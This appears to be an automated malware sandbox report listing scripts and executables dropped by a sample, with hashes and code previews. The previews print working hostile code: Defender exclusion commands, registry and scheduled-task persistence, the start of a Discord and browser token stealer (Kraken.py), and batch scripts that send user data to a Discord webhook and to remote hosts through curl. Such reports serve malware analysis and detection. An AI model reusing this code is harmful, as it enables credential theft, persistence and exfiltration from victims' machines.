Preview:	Set WshShell = CreateObject("WScript.Shell") ..Set fso = CreateObject("Scripting.FileSystemObject")..If (fso.FileExists("C:\GatonFiles\Scripts\Despiertador.bat") ) Then ..WshShell.Run chr(34) & "C:\GatonFiles\Scripts\Despiertador.bat" & Chr(34), 0 ..end if..

C:\GatonFiles\Scripts\DespiertadorDeRegistro.bat Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	424
Entropy (8bit):	5.029523947268901
Encrypted:	false
SSDEEP:	6:qMhrFoFP/63JuSJFCWDjQMb7uJE/BxvEE/MgImGFE6T0Hl7dEWWlH7PMhJiHMhPn:qMCP4dJlPQMbGWEFgQX0HClrMfiHMx
MD5:	0077592A5ACEEF9E61EFBA93B3B7F733
SHA1:	9B2E2898A2CB58D68B50DB0D326C66BEC28A8914
SHA-256:	B1EBC5575D1C63980FEF799E7459564BE6D59701914B9C493621261B4A8D67CF
SHA-512:	373664777EED91B0427B0E433A83E234F2B0F756F12686A3217C11B401F723E51D9DF9D357A32622E0ADE7A10A60EABBAA382DD408A2BB4C266150E3011DEA28
Malicious:	false
Preview:	cd "C:\GatonFiles\Scripts"..for /f "usebackq tokens=* delims=" %%a in (`wmic process where 'CommandLine like "%%C:\\GatonFiles\\Scripts\\Regedit.vbs%%" and not CommandLine like "%%RuntimeBroker%%"' get CommandLine ^, ProcessId /format:value`) do (for /f "tokens=* delims=" %%# in ("%%a") do (set "%%#" ))..IF "%ProcessID%"=="" (if exist "C:\GatonFiles\Scripts\Regedit.vbs" (start C:\GatonFiles\Scripts\Regedit.vbs param1))..

C:\GatonFiles\Scripts\DespiertadorDeRegistro.vbs Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270
Entropy (8bit):	4.993476708309651
Encrypted:	false
SSDEEP:	6:RjFNqZM+7ym/eMTTMh3X4MHXlMh3X4iNUqJH:pCZd2MTTMlX4M3lMlX4TiH
MD5:	CFE3503C31066775F0311C576BA73A7B
SHA1:	A176B0BE12DFE429EA506ACD375D23E5C57DD579
SHA-256:	FF36CCA2A5BE57324611834B08411B9209DA259C96C3E20D4ADB100F2EF4AFCD
SHA-512:	E08DFC06F94A7C8E68E4AAC90376829B648D29CDE8308C9AECD383EE729BD7278B707F198A1CB82851C96917C43905EE886103FAF5E7472E0D18AA5A8897B3FA
Malicious:	false
Preview:	set hel = CreateObject("WScript.Shell") ..Set fso = CreateObject("Scripting.FileSystemObject")..If (fso.FileExists("C:\GatonFiles\Scripts\DespiertadorDeRegistro.bat") ) Then ..hel.Run chr(34) & "C:\GatonFiles\Scripts\DespiertadorDeRegistro.bat" & Chr(34), 0 ..end if..

C:\GatonFiles\Scripts\DespiertadorRapido.bat Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	514
Entropy (8bit):	4.978239002664289
Encrypted:	false
SSDEEP:	12:Q8ddJSG4eF7McXiHMcSMjiHM+MfiHMMKIwMl2:Q84G4epAwfRLZgR
MD5:	6515E583B174DEE1414F0F3AE2843D79
SHA1:	1822EA1CC6449973E9F9C7962F40291227B3A9C6
SHA-256:	00D2F37EF58E682E44FDBC404751BCD930AA2DD6920A53A342BE8A0A12FDD2CA
SHA-512:	E5EC2E6779F65D7EAD598C9CB6E4ED5C69F76FFC016188EEEA7CD695BFD49658D43E18E225FF2BB29A3FA7E33FB806A4DDEB89543A3629BF7115659C92738256
Malicious:	true
Preview:	for /f "skip=1" %%A in ('wmic process where "name='wscript.exe'" get ParentProcessID') do for %%B in (%%A) do set "PID=%%B"..IF "%PID%"=="" (..if exist "C:\GatonFiles\Scripts\Files.vbs" (start C:\GatonFiles\Scripts\Files.vbs param1)..if exist "C:\GatonFiles\Scripts\Messagesender.vbs" (start C:\GatonFiles\Scripts\Messagesender.vbs param1)..if exist "C:\GatonFiles\Scripts\Regedit.vbs" (start C:\GatonFiles\Scripts\Regedit.vbs param1)..timeout 2 /nobreak..)..start C:\GatonFiles\Scripts\DespiertaDespiertador.vbs..

C:\GatonFiles\Scripts\DespiertadorRapido.vbs Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	262
Entropy (8bit):	5.018629288245689
Encrypted:	false
SSDEEP:	6:RjFNqZM+7ym/eMTTMh3mvHXlMh3m/NUqJH:pCZd2MTTMlmv3lMlmeiH
MD5:	DE6F241EE41F0DD4CCE500DAAB20D3BC
SHA1:	2C12021C811E961D05712FBE604C754040DCD6C6
SHA-256:	60C5B8AA20454C6DB954F433001B6937B563784B387DCBC12FB38914745FC2A1
SHA-512:	3A06787760056F9F8FB6BC9009D2AADDDCF2D88EB4BDBF55D50CA658A30808DCA824224893D6726D58C2290AEC8FFDC7B7B1ABE2ACF7CDA7817DBD7D9DB3A1F7
Malicious:	false
Preview:	set hel = CreateObject("WScript.Shell") ..Set fso = CreateObject("Scripting.FileSystemObject")..If (fso.FileExists("C:\GatonFiles\Scripts\DespiertadorRapido.bat") ) Then ..hel.Run chr(34) & "C:\GatonFiles\Scripts\DespiertadorRapido.bat" & Chr(34), 0 ..end if..

C:\GatonFiles\Scripts\Exeptcion.bat Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	655
Entropy (8bit):	5.190886140486877
Encrypted:	false
SSDEEP:	12:ZdDWr3VudCY2dVYiqkMzJXkfoq7ukMZlDnU7unj0FDnU7uEW6RXU8W5Y:3S3VuUVKkMlXk5uk+nUuw5nUuEW6Xxj
MD5:	1C3216273F7A7B2CCD2E7A296E69FB67
SHA1:	215A6291C7527B0B8C640E9CA6A99D4155E123AA
SHA-256:	889933A1549353CE6B8727E19170C0946C6A2C4C4191EE3B42B2DF8DE65075E9
SHA-512:	3B6D73B8B0EEB81AEF89DF0A78963B823F061BE06A30AAE8A6962E8406477ADCA451BA1C3E291CB979EA21F342B2832F4C396E779F3ACC038267F33B85B00C7F
Malicious:	false
Preview:	ECHO OFF && net session..if %errorLevel%==0 (color 3 && title "Heramientas Creadas por Mrgaton") else (color 4 && ECHO OFF && CLS && title "Heramientas Creadas por Mrgaton Estado:Usuario" && ECHO NO TENGO PERMISOS COMO QUIERES QUE HAGA ALGO SIN PERMISOS INUTIL && ECHO SALIENDO EN 2 SEGUNDOS && TIMEOUT 0 /NOBREAK && EXIT)..powershell "Add-MpPreference -ExclusionPath "C:\GatonFiles"" && echo ErrorLevel:%errorLevel%..powershell "Add-MpPreference -ExclusionPath "C:\temp\Files"" && echo ErrorLevel:%errorLevel%..powershell "Add-MpPreference -ExclusionProcess "C:\Windows\System32\wscript.exe"" && echo ErrorLevel:%errorLevel%..timeout 1 /nobreak && exit..

C:\GatonFiles\Scripts\Files.vbs Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	16866
Entropy (8bit):	5.174272015041054
Encrypted:	false
SSDEEP:	384:O552a44ugUrXlJFt3na8bbyAuFUQyqwkCO6uG2O446eAAtS6ciWMAoIAGAW8EYKc:O552a44ugUrXlJFt3na8bbyAuFUQyqwB
MD5:	6292AADDB83D7AA3ACF0570F111A48C1
SHA1:	DE44A420DC66420216130F2390D4A97F5C667F27
SHA-256:	CFFE7A157857DD06F26489196FFB8864266EA7B72D84364EF8979AB49D080CA6
SHA-512:	735565EF45679B32FE6F90F6A0BCF9C39F08074ADFE99894A43B7BC6B365C81F0E4C7A2353132E93110D844794866DF0903673F2DC32DA7DAFFEBD29973C973A
Malicious:	false
Preview:	Set fso = CreateObject("Scripting.FileSystemObject")..On Error Resume Next..SETTIMETOESPERARXD = ("250")..check = ("0")..do..if not(fso.FolderExists("C:\GatonFiles")) Then..wscript.sleep SETTIMETOESPERARXD..fso.CreateFolder "C:\GatonFiles"..end if..if not(fso.FolderExists("C:\temp")) Then..wscript.sleep SETTIMETOESPERARXD..fso.CreateFolder "C:\temp"..end if..if not(fso.FolderExists("C:\GatonFiles\Scripts")) Then..wscript.sleep SETTIMETOESPERARXD..fso.CreateFolder "C:\GatonFiles\Scripts"..end if..if not(fso.FolderExists("C:\temp\Files")) Then..wscript.sleep SETTIMETOESPERARXD..fso.CreateFolder "C:\temp\Files"..end if....wscript.sleep SETTIMETOESPERARXD....If (check = ("0")) Then ..If (fso.FileExists("C:\GatonFiles\Scripts\cmc.bat") ) Then ..wscript.sleep SETTIMETOESPERARXD..fso.CopyFile "C:\GatonFiles\Scripts\cmc.bat", "C:\temp\Files\cmc.bat"..end if..If (fso.FileExists("C:\GatonFiles\Scripts\Despiertador.bat") ) Then ..wscript.sleep SETTIMETOESPERARXD..fso.CopyFile "C:\GatonFiles\Scrip

C:\GatonFiles\Scripts\Kraken.py Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7496
Entropy (8bit):	4.74694060830541
Encrypted:	false
SSDEEP:	192:nGRexxt4jMh5ElKh43WECxRSe/V/erIdb5MEB8/AX/NTt36GkdHsjm:nSex7kMv3CqxLdh3dyHsjm
MD5:	A47E7380CA55AA797F0E2B049CC93640
SHA1:	C9DAB64DA9D3276FE5657CB635A121CF71BF60B2
SHA-256:	211C96FFDD2EE3688F0539C2AA890FD3FB33F6947EC9FBF8B134E190E92BA2C8
SHA-512:	FE4C7D65B6DD46FB8C2DD8BF2CC5CC3B95FE5C800E9769853DB529092C4191BBC1F33B834F71F78DB0B45298FBE19707D1B70EDAFCE34CE7206B1FBEDBB8C4F1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Joe Sandbox View:	Filename: 558d9db9309b918e.exe, Detection: malicious, Browse
Preview:	import os..import getpass....usernamee = getpass.getuser()..if os.name != "nt":.. exit()..from re import findall..from json import loads, dumps..from base64 import b64decode..from subprocess import Popen, PIPE..from urllib.request import Request, urlopen..from datetime import datetime..from threading import Thread..from time import sleep..from sys import argv..LOCAL = os.getenv("LOCALAPPDATA")..ROAMING = os.getenv("APPDATA")..PATHS = {.. "Discord" : ROAMING + "\\Discord",.. "Discord Canary" : ROAMING + "\\discordcanary",.. "Discord PTB" : ROAMING + "\\discordptb",.. "Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default",.. "Opera" : ROAMING + "\\Opera Software\\Opera Stable",.. "Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",.. "Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default"..}..def getheaders(token=None, content_type="application/json"):.. headers = {.

C:\GatonFiles\Scripts\Link.exe Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	287744
Entropy (8bit):	7.975079202001964
Encrypted:	false
SSDEEP:	6144:NkQtYG6gQMP9+VlFqsl+HYlUTWP0Ua0cJx91a7Epwzq8gqMsPB:Nkjo5FclFqsl+HYl3LlCda7EpwG8XM
MD5:	45C3C6D36AF693F36E6D3F3C5FFDC67A
SHA1:	8274C10D8AFAD40A78F6A511F6DD13550E8AFEE1
SHA-256:	7EA0EFF216A142312F72B0CC7EA6C61F33C63EACF6EBD781E3DFC27D902EFB90
SHA-512:	9E0BE79012D15073F89025DBD1EA0F2E7A7976768775556305F694D0C1513968A075ED2B1659CD62158A8EF2482C4AE995E67A1809912C5DC118C3797631B1F1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Joe Sandbox View:	Filename: 558d9db9309b918e.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...zw................0..Z...........x... ........@.. ....................................`..................................w..W...................................Ll..T............................................ ............... ..H............text...4X... ...Z.................. ..`.rsrc................\..............@..@.reloc...............b..............@..B.................x......H........R...............%...,...........................................(......0..........r...p(....-rr?..p(....,fr...p.r?..p(....(...+...(...+.r...p(.........,7r...p(.......o.....o....o....%-.&r...po.......,..o.....r?..p(....-2r...p(....-&r...p(........r...po........,...o..............R."t....................(......{...."..}......{...."..}....B.-.r...p.o......0..d.......(......o.........+I.......o........o.....o.....(....,"..o....(.....o....(.....(....,.....X....i

C:\GatonFiles\Scripts\Messagesender.vbs Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2369
Entropy (8bit):	5.174040624698519
Encrypted:	false
SSDEEP:	48:z4auTEsQkCtBtFw++xWbUPbheMMzFesQkC1:zgxQJpFw++mUYMcFTQJ1
MD5:	8B518D601F2D95F6DD8012847494DE60
SHA1:	D2E1997CB8922FABFB80F047A0121569500119F8
SHA-256:	FA32861C25927A3884071EC59F6E8C44832BCCAAB5238CC8092674A41E52B0F8
SHA-512:	C80F2E7664A8CA2EAF43035BF739A9949FDE8E51F396FF23DB26EACA1A947E85AB417347126BDA30AC8E069E7D20ED84D09ABFAC7AA55221C974414B213856B0
Malicious:	false
Preview:	Versionn = "4.2"..TIMEE = "119800"..Set h=CreateObject("WScript.shell")..appDataLocation = h.ExpandEnvironmentStrings("%APPDATA%")..Set fso = CreateObject("Scripting.FileSystemObject")..if not(fso.FolderExists("C:\GatonFiles")) Then..fso.CreateFolder "C:\GatonFiles"..wscript.sleep 100..end if..if not(fso.FolderExists("C:\GatonFiles\Scripts")) Then..fso.CreateFolder "C:\GatonFiles\Scripts"..wscript.sleep 100..end if..if not(fso.FolderExists("C:\GatonFiles\Data")) Then..fso.CreateFolder "C:\GatonFiles\Data"..wscript.sleep 100..end if..if not(fso.FolderExists("C:\GatonFiles\Data\Messagesender")) Then..fso.CreateFolder "C:\GatonFiles\Data\Messagesender"..wscript.sleep 100..end if..Echo = ("no")..do..ReturnCode = h.Run("ping -n ""1"" ""1.1.1.1""", 0 , True)..If ReturnCode = 0 Then..internet = ("true")..Else..internet = ("false")..wscript.sleep 5000..End If..wscript.sleep 100..loop until internet = ("true")..If not (fso.FileExists("C:\GatonFiles\Data\Messagesender\WaitTime.dll") ) Then ..Set

C:\GatonFiles\Scripts\Morto.bat Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	195
Entropy (8bit):	4.96000545040791
Encrypted:	false
SSDEEP:	6:E9fzMhRjCg59D1oWf9FTMhRr0oWfoqMhRrX:sfzMvGc9DCWfTM3FWfoqM3b
MD5:	8CDFB7BF22303A6D4CDD8283671A9845
SHA1:	756561332343B544C7A45556D11A4403610EF2FC
SHA-256:	125E4B3894C0BFB6973352076EB1FA8FA3E6B3FBE33E16FAA715E9236AE14D54
SHA-512:	13CF2AB7B934D47BDF64EFD08E665A497D574C1240D6AB51F971867C70862F52D67E5FD89DD2519E2EDB4D2EADFE96D4505AC87E87BDE710762A21F70674AC7D
Malicious:	false
Preview:	TIMEOUT 30 /nobreak..del "C:\GatonFiles\Scripts\Actualizador.exe" /f..timeout 1 /nobreak..del /A:H C:\GatonFiles\Scripts\Morto.bat /f..timeout 1 /nobreak..del C:\GatonFiles\Scripts\Morto.bat /f..

C:\GatonFiles\Scripts\Mortu.bat Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	405
Entropy (8bit):	4.91510534549036
Encrypted:	false
SSDEEP:	12:RfzMvGc9DCWfTM3FWfoqM3FWfTM34M3Y+WfoqM3DqM3YW:t7mDCqItqIqbh+tqwqhW
MD5:	AFE820131F6F1807664A1F1E057240A0
SHA1:	04B23BDA86A094257970491051CEEE2769356E34
SHA-256:	12793E96A47A3260DAD29068C50C2A96C60648A62141307FD6F51A5B861F45A6
SHA-512:	188D0F48C8B797BD889A7385302445E143963CE2DF66104FA9F2D49CC670EB94D1BE664BE5821E60418CB2FC73E6770EF81B4493DA9F2C7F3062E5D502AB0674
Malicious:	true
Preview:	TIMEOUT 60 /nobreak..del "C:\GatonFiles\Scripts\Actualizador.exe" /f..timeout 1 /nobreak..del /A:H C:\GatonFiles\Scripts\Morto.bat /f..timeout 1 /nobreak..del C:\GatonFiles\Scripts\Morto.bat /f..timeout 1 /nobreak..del /A:H C:\GatonFiles\Scripts\Mortu.bat /f..del /A:H C:\GatonFiles\Scripts\Mortu.vbs /f..timeout 1 /nobreak..del C:\GatonFiles\Scripts\Mortu.bat /f..del C:\GatonFiles\Scripts\Mortu.vbs /f..

C:\GatonFiles\Scripts\Mortu.vbs Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	756
Entropy (8bit):	5.013000534242134
Encrypted:	false
SSDEEP:	12:9vWdKCZd2MTTM3m3lM3BcMTTM30/qNANM3QmFMTTMvGcHqNANMvGc4MTTM3wqNA8:9AFZd2MTTblKcMTTBCNAN2MTT79NAN75
MD5:	0275844589E754FBA4152D2E70DB990C
SHA1:	56A5492D4233B214116751FBA92AF7DEEF62FF92
SHA-256:	DE148BBC2A78D59931BB583E991B0E7E78B5F1F4772673926491155029421090
SHA-512:	B04704C27F75797A6E383EE3F7CFEB49E9EE8CD1ED3EF3326E374EBF6E79D688FF89EBABAA13BE6039F351E38CC5C3457C51BB66024B6A2E811DCB2E00B3048B
Malicious:	false
Preview:	On Error Resume Next ..set hel = CreateObject("WScript.Shell") ..Set fso = CreateObject("Scripting.FileSystemObject")..If (fso.FileExists("C:\GatonFiles\Scripts\Mortu.bat") ) Then ..hel.Run chr(34) & "C:\GatonFiles\Scripts\Mortu.bat" & Chr(34), 0 ..end if..If (fso.FileExists("C:\GatonFiles\Scripts\Mortu.vbs") ) Then ..fso.DeleteFile "C:\GatonFiles\Scripts\Mortu.vbs"..end if..If (fso.FileExists("C:\GatonFiles\Scripts\Actualizador.exe") ) Then ..fso.DeleteFile "C:\GatonFiles\Scripts\Actualizador.exe"..end if..If (fso.FileExists("C:\GatonFiles\Scripts\Morto.bat") ) Then ..fso.DeleteFile "C:\GatonFiles\Scripts\Morto.bat"..end if..If (fso.FileExists("C:\GatonFiles\Scripts\Mortu.bat") ) Then ..fso.DeleteFile "C:\GatonFiles\Scripts\Mortu.bat"..end if..

C:\GatonFiles\Scripts\Regedit.vbs Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1505
Entropy (8bit):	5.386123854735665
Encrypted:	false
SSDEEP:	24:JPIAjVBEcJVpBJVQJV6yioVBKDZIV7yYMTTuFD5bXYVAC7blV7LzI1:2AjBv3OQoeIQqZYfpV0
MD5:	41C3283806307C95DAC11604DF01FA6F
SHA1:	EF7B57EDB4C70EAF3E8C3F0CFE5002CA36F39B0D
SHA-256:	CE301250DF449D88FA88DAD882E165BC8BA01A6FF95A154CA388E42D8532D90C
SHA-512:	B6332ED56FACBAB1FADD4FE7ABD2CC9B1F9A2DC62AE5C73A13A13C6980B4C52CE622FE495D1C2C84CEDC3E7277C01092B59D77D1D739F181499D4D030004405A
Malicious:	false
Preview:	Set H = CreateObject( "WScript.Shell" )..pink = ("5000")..Set fso = CreateObject("Scripting.FileSystemObject")..On Error Resume Next..H.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fea"..wscript.sleep 100..H.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\nes"..wscript.sleep 100..H.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\reco"..wscript.sleep 100..H.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\STARTUP"..wscript.sleep 100..do..If not WScript.Arguments.length = 0 Then..H.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\REGISTRO", "C:\GatonFiles\Scripts\DespiertadorDeRegistro.vbs", "REG_SZ"..wscript.sleep 2000..H.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\REGISTRO", CLng("&H00000002"), "REG_BINARY"..end if..ReturnCode = "1"..If (fso.FileExists("C:\GatonFiles\Scripts\Task.XML") ) Then ..If not ERORSITO = ("AREG") Then ..ReturnCode = H.run("

C:\GatonFiles\Scripts\Task.XML Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	5.138618388021063
Encrypted:	false
SSDEEP:	24:2dH4+STEfMFuL60YeGlMhEMjn5pwjpILUYODOLG9RJh7h8gK3i7zty:cb3fQuL60uydbQ9IIYODOLedq3mQ
MD5:	5367BC827AEAA017534E36F7A6F91DFE
SHA1:	7C36F57CEBB102012D79EB4CA1DA5E8EFBA473DC
SHA-256:	B49965BD6B87500A9B90B235B10BACF2FBB0B35B009C305AE490D05E86C614D9
SHA-512:	823FCFE24DC524BB1D6849DA73A86AA86D25B9AD89FCFF60A157CCF09E3875D736CE4F9F9051E338EB3C49AF7389AE1D9DFE7B02421C68A9FDD10343D9A4C337
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2021-01-24T11:18:04.5864357</Date>.. <URI>\Atualizador</URI>.. </RegistrationInfo>.. <Triggers>.. <BootTrigger>.. <Enabled>true</Enabled>.. </BootTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>

C:\GatonFiles\Scripts\Tools.bat Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2376
Entropy (8bit):	4.862595516733785
Encrypted:	false
SSDEEP:	48:v0IVVjVTa6j6WeB2c16WeB2KxOxJe+Zj6WeB2Y16WeB2hBx:c8vTRlGlAQJxl6lTx
MD5:	EDA57A7389DA68420E5ACF1D623815F8
SHA1:	4C46A6544DDF921154E91648DFCBEBB25C856F28
SHA-256:	07A081C429E05BB61CC89F0B193B173FC0EC6F9A70A8C598355B99ADA007D5C7
SHA-512:	48C2D3FDD3F0B76927C3946967E177A1DAF8CB68DF275B82731355F4A1B3C7139B5ED0E83CCF61CDE5EB769B137E1742CD1315511429FF989E0D4EA9AD1F2376
Malicious:	false
Preview:	echo off..net session..if %errorLevel%==0 (..color 3..title "Heramientas Creadas por Mrgaton Estado:Admin".. ) else (..color 4..title "Heramientas Creadas por Mrgaton Estado:Usuario".. )..cls..:d..echo 1:MAtar scripts y cmds..echo 2:MAtar scripts..echo 3:MAtar cmds..echo 4:Mostrar processos..echo 5:Matar todos los procesos exepto los esenciales..set /p POEP=Escribe la opcion:..if %POEP%==1 goto KILLALL..if %POEP%==2 goto KILLs..if %POEP%==3 goto o..if %POEP%==4 goto semen..if %POEP%==5 goto cz..goto f..:KILLs..taskkill /im wscript.exe /f..if %errorLevel%==0 (..echo Se terminaron todos los processos corectamente.. ) else (..echo Hubo algun error terminando algunos procesos posiblemente no tengas los permisos suficientes intente ejecutar el programa como administrador.. )..goto end..:o..taskkill /im cmd.exe /f..if %errorLevel%==0 (..echo Se terminaron todos los processos corectamente.. ) else (..echo Hubo algun error terminando algunos procesos posiblemente no tengas los p

C:\GatonFiles\Scripts\Uploader.bat Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2079
Entropy (8bit):	5.435500332996288
Encrypted:	false
SSDEEP:	48:e2KfZUkjuVMZUkV2O2J2C7ZDbpuVMZDbn2O2J2m:e2KWoKfQ2O2J2MtKGL2O2J2m
MD5:	250E6D96A3E19A266AB3AD5E098CDA58
SHA1:	070A0126BA59DCBF50056197B867DDBAC72AD6DE
SHA-256:	DA6489E8D58CB060BC7DEA99B6527A64F1DA75F0721E0336E9B40940674DD155
SHA-512:	FB1D9E2616B65AF315EA9DD329AA91EB003B3F6A74EB100D21B0A0A8C9383E65C5DB01D07E31A17ACFF9A711E7A94E9FC7CC4BAE90A4F6610B5A3A0506AAFFD4
Malicious:	false
Preview:	set /A pete=%random%%random% %random%..set /A pete=%pete%%random%%random%..SET SED="https://canary.discord.com/api/webhooks/792793041416880160/RpiuGmOviECw7T0Pav7V6fEoFgTfRRw-bwZQN-DGwcAbgnPikG18QUdlkuqAndEFYVjX"..set /A No=9..if exist "C:\GatonFiles\Scripts\Link.dll" (..for /f "delims=" %%q in (C:\GatonFiles\Scripts\Link.dll) do set LINK=%%q..)..if exist "C:\GatonFiles\Scripts\Link.exe" (..if exist "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Google Profile Picture.png" (..del "C:\GatonFiles\Scripts\Response.json"..del "C:\GatonFiles\Scripts\LINK.DLL"..timeout 1 /nobreak..curl -X POST -H "Content-type: application/json" --data "{\"avatar_url\": \"%LINK%\", \"username\": \"%USERNAME%\", \"content\": \"*User : %Username%*\n\"}" %SED%..copy "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Google Profile Picture.png" "C:\GatonFiles\Scripts\%USERNAME%_id_%pete%%pete%_.png"..curl -i -H '' -F file=@"C:\GatonFiles\Scripts\%USERNAME%_id_%pete%%pete%_.png" -F 'pa

C:\GatonFiles\Scripts\Uploader.vbs Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	242
Entropy (8bit):	5.03411654470083
Encrypted:	false
SSDEEP:	3:RAkmQEm8nBve8Rm8x7D/emNDWKXMJAYMrHEKXMhXWJuXzm5Auv8NX4E4RiERKXMf:RjFNqZM+7ym/eMTTMhbHXlMhbNUqJH
MD5:	15A9D40EEA360D75A5591021468DE320
SHA1:	0D18737CA8A01D97BD7E11BD84F32F84FD02D7AE
SHA-256:	B09AB197B9D6651AB31309F26968E157CBE2863CCF7415A767D575F81835C995
SHA-512:	BE05AFB0031FB649A176B4C411D5800B43F09CC61F073E7896B10A4B37289F7696D2EF08D734BE7D60FD5214908EA59FA4E82063CB983FD42A36F9E7A7F46B44
Malicious:	false
Preview:	set hel = CreateObject("WScript.Shell") ..Set fso = CreateObject("Scripting.FileSystemObject")..If (fso.FileExists("C:\GatonFiles\Scripts\Uploader.bat") ) Then ..hel.Run chr(34) & "C:\GatonFiles\Scripts\Uploader.bat" & Chr(34), 0 ..end if..

C:\GatonFiles\Scripts\UserData.bat Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1682
Entropy (8bit):	5.414392752196666
Encrypted:	false
SSDEEP:	48:QU9NZUk2KuJ3K2kR4mLK1EVSwVYriVe99:QU9sjJ3lkmmLK18DFO9
MD5:	EC421078C3F5275BE21E4CE3A22F691F
SHA1:	22E146AC4B26D580E4D4540ABB2C9E79C91F6C37
SHA-256:	01694E4751C0272DA33231D4401AB6D9F4E5D2A37EA909B3B26D39683BA9C311
SHA-512:	2661C40EBB2BB7DC3AAB995BDB3FCDF93F60EBD1DB0843E3789BE3A889206E3ED52D249D9BACC86FD07B204E69B8002AC8F19D20CC77E1BD0EA8B3B0D4D682C8
Malicious:	false
Preview:	FOR /F %%I IN ('curl "https://set-clima.mrgaton.repl.co/WIFI:BAT"') do set SED=%%I..SET VER="4.2"..if exist "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Google Profile Picture.png" (..if not exist "C:\GatonFiles\Scripts\Link.dll" (..if exist "C:\GatonFiles\Scripts\Link.exe" (.."C:\GatonFiles\Scripts\Uploader.vbs"..timeout 4..)..)..)..del C:\GatonFiles\Scripts\geo.dll /f /q..del C:\GatonFiles\Scripts\ip.dll /f /q..timeout 1..FOR /F %%I IN ('curl "https://checkip.amazonaws.com/"') DO set IP=%%I..timeout 1 /nobreak..set IPO=IP:%IP%..FOR /F "tokens=*" %%I IN ('curl "http://wttr.in/?format=%%l"') DO set zone=Localizacion aproximada:%%I..if "%%i"=="======================================================================================" set zone=..timeout 1 /nobreak..if exist "C:\GatonFiles\Scripts\Link.dll" (..for /f "delims=" %%q in (C:\GatonFiles\Scripts\Link.dll) do set LINK=%%q..timeout 1 /nobreak..)..set Tiemp0=%date:~-4%/%date:~3,2%/%date:~0,2% %time:~0,2%:%time:~3,2%:%t

C:\GatonFiles\Scripts\Wifi.bat Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	5765
Entropy (8bit):	5.293515775147969
Encrypted:	false
SSDEEP:	96:GULU9HQgWSQOz4fj4HjR1ChHuBVku1JVt53rQRzQ7/2x4g+k/07MTCi:m9ISQ14H1opu5r6uq3/OMTz
MD5:	8255012FBDCAEABE80C175B5213FF40F
SHA1:	2CE5B5EE04E6CEDBA7EACDF6851345B8BE9B6BA3
SHA-256:	8BC77AFFE7C6C833BE183FBE91402D799749AB5CAFCCE377877F233959B8C287
